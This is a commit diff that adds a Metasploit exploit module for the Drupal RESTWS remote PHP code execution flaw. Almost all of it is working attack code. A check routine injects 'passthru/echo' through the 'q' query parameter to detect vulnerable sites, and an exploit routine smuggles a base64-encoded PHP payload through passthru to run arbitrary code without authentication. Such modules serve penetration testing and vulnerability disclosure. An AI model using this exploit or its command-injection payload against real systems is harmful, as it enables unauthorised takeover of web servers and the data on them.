Land rapid7#7108, Drupal RESTWS exploit

Author: wvu

modules/exploits/unix/webapp/drupal_restws_exec.rb

@@ -0,0 +1,82 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Drupal RESTWS Module Remote PHP Code Execution',
+      'Description'    => %q{
+        This module exploits a Remote PHP Code Execution vulnerability in
+        Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
+        under the context of the web server user.
+
+        RESTWS alters the default page callbacks for entities to provide
+        additional functionality. A vulnerability in this approach allows
+        an unauthenticated attacker to send specially crafted requests resulting
+        in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
+        versions are affected by issue.
+
+        This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Devin Zuczek',                        # discovery
+          'Mehmet Ince <[email protected]>'  # msf module
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://www.drupal.org/node/2765567']
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [ ['Automatic', {}] ],
+      'DisclosureDate' => 'Jul 13 2016',
+      'DefaultTarget'  => 0
+      ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
+      ]
+    )
+  end
+
+  def check
+    r = rand_text_alpha(8 + rand(4))
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'index.php'),
+      'vars_get' => {
+        'q' => "taxonomy_vocabulary//passthru/echo #{r}"
+      }
+    )
+    if res && res.body.include?(r)
+      Exploit::CheckCode::Vulnerable
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
+    send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'index.php'),
+      'vars_get' => {
+        'q' => "taxonomy_vocabulary//passthru/#{cmd}"
+      }
+    )
+  end
+end